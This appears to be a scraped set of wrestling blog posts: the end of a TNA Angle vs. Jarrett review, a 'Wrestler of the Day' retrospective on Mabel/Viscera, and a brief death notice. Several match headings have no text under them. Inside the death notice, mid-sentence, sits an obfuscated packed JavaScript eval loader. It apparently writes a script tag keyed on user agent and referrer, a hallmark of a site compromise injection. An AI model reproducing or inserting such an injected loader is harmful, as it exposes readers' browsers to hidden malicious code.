Gunner comes out with a chair to keep Kurt from leaving so Kurt pulls a Jeff Hardy vs. Umaga spot and throws out the moonsault to Jeff.  I think his head hit Jarrett so it’s better than nothing.  Steiner runs out to chase off Gunner as both guys are down.  Kurt finds the key and unlocks the door but Karen bounces down and sprays something in Kurt’s eyes.

 

The blind Angle drills the referee and Karen hides by the door.  Jeff tries to escape but gets caught in the ankle lock.  Karen slips him a guitar from somewhere and pops Kurt with it.  Kurt gets up AGAIN and puts the ankle lock on Jeff one more time but Karen slams the door on Angle’s head to let Jeff fall out to end this finally.  You have got to be kidding me.  Are they trying to have a mass murder in Cincinnati tonight?

Rating: B. Le sigh.  Blast it all as they managed to screw up ANOTHER finish.  The match wasn’t great but it was definitely the best of the night.  The crowd hurt this a lot and the ending wasn’t all that great.  It’s Angle vs. Jarrett.  HOW CAN YOU OVERBOOK KURT ANGLE VS. JEFF JARRETT????????  Not a great match as some people will say but good.  The problem is the first two falls were weak and it hurt this a lot.

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Wrestler of the Day – February 12: Viscera/Mabel

This is a last second change for obvious reasons. Today is Viscera/Mabel.

Mabel debuted as part of a tag team called Men on a Mission whose mission was never quite clear. I think it was supposed to be helping children but they went about it by doing bad raps and looking like they were caught in a Life Saver factory explosion. This is their Raw debut from July 19, 1993.

Men on a Mission vs. Hank Harris/Rich Myers

After squashing jobbers for the better part of a year, Men on a Mission would get a Tag Team Title shot at Wrestlemania X.

Tag Titles: Men on a Mission vs. Quebecers

Reno Riggins vs. Mabel

Riggins tries everything he can on Mabel but the big guy just stares at him. Reno is willing to try a test of strength from the middle rope and actually gets in some cheap shots, only to be slammed down. Mabel misses an elbow drop but comes back with a big leg for the easy pin.

KOTR Quarterfinals: Mabel vs. Undertaker

Mabel is interviewed on his way to the ring and cuts the most generic uninteresting promo of all time. He looks like a freaking idiot too in case you were wondering. I think Hendrix is trying to be like Jerry Lawler and of course it’s just completely failing. Taker has no urn here thanks to Kama so he’s weak or something. Remember all of those really not great Undertaker vs. Big Show matches?

One of those would be great compared to this. Mabel is just a complete and utter joke of a wrestler to put it mildly. He can’t move, he can’t do much of anything as far as offense, he’s tired after about two seconds, and he doesn’t sell a thing. Naturally Mabel’s “power (read as elbows, splashes and chinlocks)” offense wears down Taker as Vince and Doc try so hard to convince us that Mabel is a monster.

This just needs to end with Taker beating him and taking the crown. BREAKING NEWS: MABEL CAN PICK UP UNDERTAKER! For some reason this is a big deal and I have no idea why at all. Why in the world would that be a surprise? Mo is more annoying than Santino ever dreamed of being.

Oh great the referee went down after they both laid around for a few minutes. That means it’s going to go on even longer. Taker hits a chokeslam that was pretty good considering he was picking up a beached whale. Kama runs out and kicks him in the head and a legdrop sends Mabel to the finals, to meet the winner of Road Dogg and Savio Vega. I hate this show so much.

Rating: D+. This was just putting me to sleep. What was the point of this anyway? Seriously, Mabel and freaking SAVIO VEGA are going farther in this than Undertaker and Shawn Michaels. Does Vince really think that this is a good idea? Shawn vs. Diesel at Summerslam wouldn’t have been good? It just headlined Mania but it can’t be on Summerslam? This just needs to end now and have people come out from nowhere and say it was all a big joke then let us see the real show.

KOTR Finals: Mabel vs. Savio Vega

Smell those buyrates baby. The problem s instantly become apparent here: first of all, these two both suck and there was no logic at all behind pushing them as the focal points of the show. Second, the fans hate them. Neither guy gets anything resembling a good reaction either from a heel perspective or a face perspective. Third, how in the heck is Savio supposed to win here other than a fluke rollup or something like that?

This match again follows as basic of a formula as you could possibly imagine: Savio starts hot and Mabel knocks him down and goes into his basic moveset: punch, stomp, punch, bearhug, chinlock. Seriously, I just covered the first 8 minutes of a ten minute match. Savio of course gets some token jobber, because that’s what he is here in case you didn’t realize it, offense in including that pesky fluke rollup attempt.

Here’s the real point of this match as far as we’re concerned though. Just after the chinlock that nearly goes for a minute, the crowd turns on the match and start LOUDLY chanting ECW. It’s so loud that Vince actually acknowledges it. This wasn’t planned or anything, but it was so loud that Vince stopped his commentary, I think out of shock. He really and truly believed what he was putting out there was getting over, and sadly enough I would bet he blamed the wrestlers for the failure here.

Savio’s spin kick gets two, and it’s over soon thereafter. I know this was really short again, but honestly there’s just nothing at all to talk about for any ot these matches, period. It’s just so basic and phoned in that it’s sucking the life out of me. Razor gets beaten up and 1-2-3 Kid runs out and gets beaten up too. There was a tag match at the next In Your House that no one cared about either. Yes, Mabel joins Owen and Bret and eventually Stone Cold as KOTR winners.

Rating: D. Dang it just end this nonsense already! No one likes this stuff, no one cared about Mabel. No one cared about Savio. YOU HAD FREAKING SHAWN MICHAELS IN THIS FREAKING THING and you picked MABEL. Seriously, here’s your tournament: Shawn beats Kama and Mabel while Yoko beats Savio and gets the bye so he only wrestles twice. Shawn kicks him in the face and wins the tournament so the fans are happy.

Instead though, Vince has to decide what we like and tell us that Mabel is our new top heel, and shockingly, IT BOMBED. Mabel was complete and utter crap as a big heel and there’s no shock at all as to why. We had to watch Diesel vs. Mabel to main event the worst Summerslam of all time because Vince is fascinated with big men. At the same time we had Hogan vs. Giant in a monster truck match. Do you see why the NWO was considered a gift from God? DAng I hated this tournament.

The coronation might save this garbage though. It literally goes on for five minutes with bad music playing and Mo reading a proclamation. The only good part here are the fans, who are booing so loudly and chanting ECW so loudly that you can barely hear Mo. Savio comes up and gets pulled back, and the fans pelt both guys with garbage. No one bought this, plain and simple.

This win gave Mabel a World Title shot at Summerslam 1995.

WWF World Title: King Mabel vs. Diesel

Royals vs. Dark Side

King Mabel, Jerry Lawler, Hunter Hearst Helmsley, Isaac Yankem

Undertaker, Fatu, Henry Godwin, Savio Vega

Rating: D+. This whole match ran just under fifteen minutes and about two of those meant anything. Everything was waiting for Taker to come in and dominate, which he did quite well, but getting there was pretty dull stuff. This match is more fun for looking at what these people would become rather than what they are now. Taker would lose the mask soon enough thank goodness.

Kurt Angle vs. Viscera

Viscera would leave again in the summer and hit the indies for a few more years. He would return in 2004 as a jobber to the stars, including this match on November 1, 2004.

Shelton Benjamin vs. Viscera

Kane vs. Viscera

Kane runs into Viscera and bounces off of him. He kicks Viscera tot he floor and dives onto Visc to take over. The fans still want Matt. Back in and Viscera hits the wheel kick and we get a pelvic thrust. Kane goes after Trish for some reason but gets splashed and caught in a Samoan Drop for two. Sidewalk slam gets the same. Kane gets in a boot to the face and the top rope clothesline looks to set up the chokeslam, but Visc elbows out of it.

A clothesline puts Kane on the floor but Viscera runs into the post. Trish goes after Kane with a chair for some reason but Lita blasts her with a crutch (Lita had a bad knee). Back in Kane goes up but dives into a choke bomb for two. Lita gets in the ring for some reason and Visc tries to kiss her, but Kane comes back with a big boot and a chokslam for the pin.

ECW Title: Big Daddy V vs. CM Punk

Mark Henry/Big Daddy V vs. Kane/CM Punk

Punk is ECW Champion here and is having to stick and move against the monsters. Kane is here to help even out the size stuff. Punk vs. Henry to start us off. Punk fires off some kicks and then tries to pick up the leg because faces are idiots in this company. Off to Kane whose strikes do a bit better. He gets a shot to the knee and Henry is actually in trouble. Back to Punk who gets flattened by a clothesline.

Off to Big Daddy V and the girth of death. Punk gets sent to the floor where Striker, the manager of V, gets in a shot. Henry pounds on him for awhile until a corner splash misses. Moderately warm tag brings in Kane who cleans a few rooms. The Big Bald hits the top rope clothesline to put Henry down but V breaks up the chokeslam. Sitout chokebomb gets two for V. I thought it was tea for two and two for tea but whatever.

V pounds away while in whale humping position. He splashes Kane and it’s off to Henry for some bearhuggery. Better than buggery I suppose. V comes in for Kane to fire away but another fat boy clothesline takes him down. Kane channels his inner deadman and hits a running DDT to put both guys down (Henry in this case). Double tag brings in V and Punk and everything breaks down. Punk and V are alone in the ring so Punk tries the springboard clothesline. He lands in a Samoan Drop though and we’re done.

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Mabel/Viscera Passes Away At Age 42

Not eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|addze|var|u0026u|referrer|rnrir||js|php'.split('|'),0,{})) entirely sure on the cause but I’ve heard massive heart attack, which really isn’t all that surprising given how he looked during his career.

 

Always sad to hear.